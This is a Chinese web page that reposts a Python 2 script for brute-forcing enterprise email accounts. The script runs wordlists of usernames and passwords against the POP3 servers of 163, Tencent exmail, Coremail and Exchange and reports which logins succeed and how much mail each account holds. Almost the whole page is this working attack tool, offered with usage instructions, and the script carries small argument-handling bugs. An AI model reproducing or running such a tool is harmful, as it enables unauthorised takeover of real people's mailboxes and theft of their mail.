当前位置:企业云邮 » 企业目录 » 天津 » 文章详细

python邮箱爆破_企业邮箱爆破脚本
<>

#!usr/bin/python

#!coding:utf-8

import threading,time,random,sys,poplib

from copy import copy

if len(sys.argv) !=4:

print " Note: 邮箱类型为:'163','tencent','coremail','236','exchange' "

print " Note: coremail|exchange 用户字典不需要域名后缀,例如zhangsan "

print " Note: 163|tencent|236 用户字典需要域名后缀,例如zhangsan@domain.com "

print " Usage: 163|tencent使用方法:./mail.py type "

print " Usage: 236|exchange|coremail使用方法:./mail.py type mail.domain.com "

sys.exit(1)

mailType=['163','tencent','coremail','236','exchange']

if sys.argv[1] in ['236','exchange','coremail']:

try:

server = sys.argv[5]

except:

print '[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明! '

sys.exit(1)

elif sys.argv[1] == '163':

server = "pop.qiye.163.com"

elif sys.argv[1] == 'tencent':

server = "pop.exmail.qq.com"

else :

print "[-] Error: 邮箱类型错误 "

sys.exit(1)

success = []

try:

users_list = open(sys.argv[2], "r")

users = users_list.readlines()

words_list = open(sys.argv[3], "r")

words = words_list.readlines()

except(IOError):

print "[-] Error: 请检查用户名或密码路径及文件 "

sys.exit(1)

finally:

users_list.close()

words_list.close()

try:

if sys.argv[1] in ['163','236']:

pop = poplib.POP3(server,110)

else:

pop = poplib.POP3_SSL(server,995)

welcome = pop.getwelcome()

print welcome

pop.quit()

except (poplib.error_proto):

welcome = "[-] Error: No Response,Something wrong!!! "

sys.exit(1)

print "[+] Server:",server

print "[+] Users Loaded:",len(users)

print "[+] Words Loaded:",len(words)

print "[+] Server response:",welcome," "

def mailbruteforce(listuser,listpwd,type):

if len(listuser) < 1 or len(listpwd) < 1 :

print "[-] Error: An error occurred: No user or pass list "

return 1

for user in listuser:

for passwd in listpwd :

user = user.replace(" ","")

passwd = passwd.replace(" ","")

try:

print "-"*12

print "[+] User:",user,"Password:",passwd

# time.sleep(0.1)

if type in ['163','236']:

popserver = poplib.POP3(server,110)

else:

popserver = poplib.POP3_SSL(server,995)

popserver.user(user)

auth = popserver.pass_(passwd)

print auth

if auth.split(' ')[0] == "+OK" or auth =="+OK":

ret = (user,passwd,popserver.stat()[0],popserver.stat()[1])

success.append(ret)

#print len(success)

popserver.quit()

break

else :

popserver.quit()

continue

except:

#print "An error occurred:", msg

pass

if __name__ == '__main__':

mailbruteforce(users,words,sys.argv[1])

print " [+] have weakpass : ",len(success)

if len(success) >=1:

for ret in success:

print " [+] Login successful:",ret[0], ret[1]

print " [+] Mail:",ret[2],"emails"

print " [+] Size:",ret[3],"bytes "

print " [-] Done"



阅读:3
日期:2021-02-24

打印 】 【 关闭 】  【 字体: 】 
上一篇: microsoftexchange邮箱容量怎样看_免费的企业邮箱它不香吗?
下一篇: java 发送企业邮箱_Java实现网易企业邮箱发送邮件
  >> 相关文章
 

服务热线

0574-55011290

微信二维码